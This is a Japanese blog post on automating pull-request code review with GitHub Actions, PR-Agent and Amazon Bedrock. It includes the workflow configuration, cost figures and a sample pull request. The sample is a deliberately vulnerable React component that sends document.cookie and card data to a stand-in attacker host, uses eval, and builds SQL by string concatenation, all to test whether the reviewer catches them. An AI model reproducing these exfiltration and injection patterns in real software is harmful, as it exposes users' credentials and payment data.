AI使ってPR時のコードレビュー自動化(GitHubActions + PR-Agent + Amazon Bedrock)

## はじめに

チーム内でPR時のコードレビューに時間を要し、PRが滞留する課題が発生した。開発効率化を図る目的でAIによる自動コードレビューを導入してみた。

具体的には、GitHubActions+PR-Agent+Amazon Bedrock(Claude3.0)を利用して実現する。
*Claude3.0にしたのは安いから

構成図は下記の通り。なお、今回Amazon Bedrockを使用しているが、APIキーがあればAzureやGCPのクラウドサービスの生成AIサービスや、chatGPT, Gemeniでも導入可能。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3510732/148bdf9b-26ec-154f-724e-a622cbfac607.png)

## 導入方法

https://qodo-merge-docs.qodo.ai/installation/github/ 
公式ページにある通り、GitHubActions用のymlファイルにGitHubと生成AIのAPIキーを設定するだけで動作可能になる。以下は公式のテンプレート。

```
on:
  pull_request:
    types: [opened, reopened, ready_for_review]
  issue_comment:
jobs:
  pr_agent_job:
    if: ${{ github.event.sender.type != 'Bot' }}
    runs-on: ubuntu-latest
    permissions:
      issues: write
      pull-requests: write
      contents: write
    name: Run pr agent on every pull request, respond to user comments
    steps:
      - name: PR Agent action step
        id: pragent
        uses: Codium-ai/pr-agent@main
        env:
          OPENAI_KEY: ${{ secrets.OPENAI_KEY }}
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
```
前述の構成のようにAWSと連携するには別途Bedrockの利用登録が必要になる。

自社チームでは最終的に下記のようなyamlファイルを設定した。
```
name: PR Auto Review
run-name: PR Auto Review ${{ github.head_ref }}

on:
  pull_request:
    types: [opened, reopened, ready_for_review]
  issue_comment:
    types: [created, edited]
  workflow_dispatch:
jobs:
  pr_agent_job:
    if: ${{ github.event.sender.type != 'Bot' }}
    runs-on: ubuntu-latest
    permissions:
      issues: write
      pull-requests: write
      contents: write
      id-token: write
    name: Run pr agent on every pull request, respond to user comments
    env:
      INSTRUCTIONS: >-
        You must always answer in Japanese.必ず日本語で回答してください。
        Do NOT answer in English.英語で回答しないでください。
        次の項目について、コードレビューを行ってください。
        -設計に関する項目
          -モジュラリティ: 各モジュールが単一の責任を持ち、他のモジュールとの依存関係が最小限であること。
          -カプセル化: データと操作を適切にカプセル化し、外部からのアクセスを制限すること。
          -インタフェース: 明確なインタフェースを定義し、モジュール間の結合度を低く保つこと。
          -拡張性: 将来的に機能追加や変更が容易に行えるよう、拡張性を考慮した設計であること。
        -可読性に関する項目
          -シンプルさ: 複雑なアルゴリズムは避け、可能な限りシンプルな実装にすること。
          -命名: 変数名、関数名、クラス名などは、その役割を明確に表す命名であること。
          -コメント: コードの意図が分かりにくい部分には、簡潔かつ正確なコメントを追加すること。
          -フォーマット: インデント、空白、改行など、一貫したコーディングスタイルを適用すること。
        -テストに関する項目
          -テスト: 各関数やメソッドに対して、入出力の組み合わせを網羅する単体テストを作成すること。
          -カバレッジ: コードの変更に対して、テストが適切に実行され、カバレッジが維持されること。
        -セキュリティに関する項目
          -入力検証: ユーザーからの入力に対して、不正なデータがシステムに侵入しないよう、厳密な入力検証を行うこと。
          -脆弱性: SQLインジェクション、クロスサイトスクリプティングなど、一般的な脆弱性に対する対策を講じること。
          -認証・認可: 適切な認証・認可メカニズムを導入し、不正アクセスを防ぐこと。
        -その他
          -パフォーマンス: 処理速度、メモリ使用量など、パフォーマンスに影響を与える要素について考慮すること。
          -エラー処理: 例外処理やエラーログなど、エラー発生時の適切な対処を行うこと。
          -ドキュメント: APIドキュメント、設計ドキュメントなど、必要なドキュメントを作成し、最新の状態に保つこと。
        -コードレビューの観点
          -設計: 上記の設計に関する項目に沿って、設計の妥当性を評価すること。
          -実装: コードが設計どおりに実装されているか、また、より良い実装方法がないか検討すること。
          -テスト: テストが十分に実行されており、コードの品質を担保しているか確認すること。
          -スタイル: コーディングスタイルが統一されているか、可読性に問題がないか確認すること。
          -セキュリティ: セキュリティに関するリスクがないか、脆弱性の可能性がないか確認すること。
        -追加
          -保守性: 将来的に修正や変更が必要になった場合に、容易に修正できるようなコードであること。
          -再利用性: 他のプロジェクトでも利用できるような、汎用性の高いコードであること。
    steps:
      - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          aws-region: ap-northeast-1
          role-to-assume: arn:aws:iam::${{ secrets.AWS_ACCOUNT_ID }}:role/github-PR
      - name: PR Agent action step
        id: pragent
        uses: Codium-ai/pr-agent@main
        env:
          OPENAI_KEY: dummy
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          config.model: bedrock/anthropic.claude-3-haiku-20240307-v1:0
          config.model_turbo: bedrock/anthropic.claude-3-haiku-20240307-v1:0
          config.fallback_models: bedrock/anthropic.claude-3-haiku-20240307-v1:0
          GITHUB_ACTION.AUTO_REVIEW: true
          GITHUB_ACTION.AUTO_DESCRIBE: true
          GITHUB_ACTION.AUTO_IMPROVE: true
          pr_reviewer.inline_code_comments: true
          pr_reviewer.extra_instructions: ${{ env.INSTRUCTIONS }}
          pr_description.publish_labels: true
          pr_description.extra_instructions: "You must always answer in Japanese.必ず日本語で回答してください。"
          pr_questions.extra_instructions: "You must always answer in Japanese.必ず日本語で回答してください。"
          pr_code_suggestions.extra_instructions: ${{ env.INSTRUCTIONS }}
          pr_update_changelog.extra_instructions: "You must always answer in Japanese.必ず日本語で回答してください。"
          litellm.drop_params: true
          ignore.glob: "['**/package-lock.json']"

```

## 導入後のPRサンプル

導入後のPRのサンプルは下記。試しにくっそガバガバなソースコードをPRしてみた。
```
import React, { useState, useEffect } from 'react';

const TestSite = () => {
  const [cardData, setCardData] = useState('');
  const [username, setUsername] = useState('');

  useEffect(() => {
    // 脆弱なURLリダイレクト
    location.href = "http://tottemo.yabai.site/getCookie.cgi?cookie=" + document.cookie;
  }, [cardData]);

  const handleSubmit = (event) => {
    event.preventDefault();
    console.log('Card Data:', cardData);
    // jQueryの脆弱なイベントハンドラ
    $("#submit").on("click", function () {
      $.post("http://tottemo.yabai.site/getCardData.cgi", { "card-data": $("#card-data").val() });
    });
  };

  const handleClick = () => {
    // 脆弱なeval関数の使用
    eval("alert('Card Data: ' + cardData)");
  };

  const handleLogin = () => {
    // 脆弱なSQLインジェクション
    const query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + cardData + "'";
    console.log('Executing query:', query);
    // 実際のDB呼び出しは省略
  };

  return (
    <div>
      <h1>Hello World!!!</h1>
      <form onSubmit={handleSubmit}>
        <input
          type="text"
          id="card-data"
          value={cardData}
          onChange={(e) => setCardData(e.target.value)}
        />
        <input type="submit" id="submit" />
      </form>
      <button onClick={handleClick}>Show Card Data</button>
      <div>
        <h2>Login</h2>
        <input
          type="text"
          id="username"
          value={username}
          onChange={(e) => setUsername(e.target.value)}
        />
        <button onClick={handleLogin}>Login</button>
      </div>
    </div>
  );
};

export default TestSite;
```
GHA実行後、PRページは下記のように更新された。
descriptionが自動で生成
![0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3510732/fa258810-cfd9-67e3-04d4-383c6a5343d0.png)

コミット内容を評価してくれる
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3510732/9973c4eb-d212-0c89-f174-cd2f24f6ba43.png)

リファクタリングの提案もしてくれる。意図的に仕込んだ脆弱性のコードはすべてリファクタリングしてくれた。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3510732/cc044c6f-dd85-8fed-ac04-86cead721713.png)

上記の通り、レビュイーに対してはコードレビューの他にリファクタリング提案を自動で実行されて
レビュアーに対してはdescriptionでコミット内容をサマリしてくれる為、コードレビュー時の効率化が実現できた(はず)。

## 費用感
導入後、1Sprint(2週間分)分のPRに対するコードレビュー自動化の費用測定を実施した。

PR-Agent自体は基本無料だが、Amazon Bedrockサービスを利用している為、その際に利用する生成AIのengineによって従量課金が発生する。今回はClaude3.0 Haikuを導入している。
Bedrockの費用は下記の通り。
https://aws.amazon.com/jp/bedrock/pricing/ 
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3510732/ee764291-1f9d-d42c-4e30-fede0810943a.png)

自社チームの1sprint内で実施したPR数とそれにかかる上記トークン数及び料金を計算したところ

- PR数: 11
- 消費トークン(input):  1092773 ≒ 0.28USD ≒ 44円
- 消費トークン(output): 81344   ≒ 0.11USD ≒ 18円
*1USD ≒ 155円

となり、トータル62円でランニングコストが非常に安価であった(Claude3.5ではなく3.0でやったためでもあるが)。

## おわりに

PR-Agentを活用したコードレビュー自動化は導入が容易かつ費用も安価でありながらコード品質を上げることができる為、費用対効果が非常に高い結果となった。ビジネスロジックのようなAIの判断が困難な内容については引き続き有人での対応が必要になるが、レビュアー、レビュイー双方に効率化をもたらすことができた為導入可能なら導入すべきと言える。


とはいえそのうちGitHub公式がPR時のコードレビュー自動化するらしいからそれまでの間使う感じになりそう。。
https://github.blog/changelog/2024-10-29-github-copilot-code-review-in-github-com-public-preview/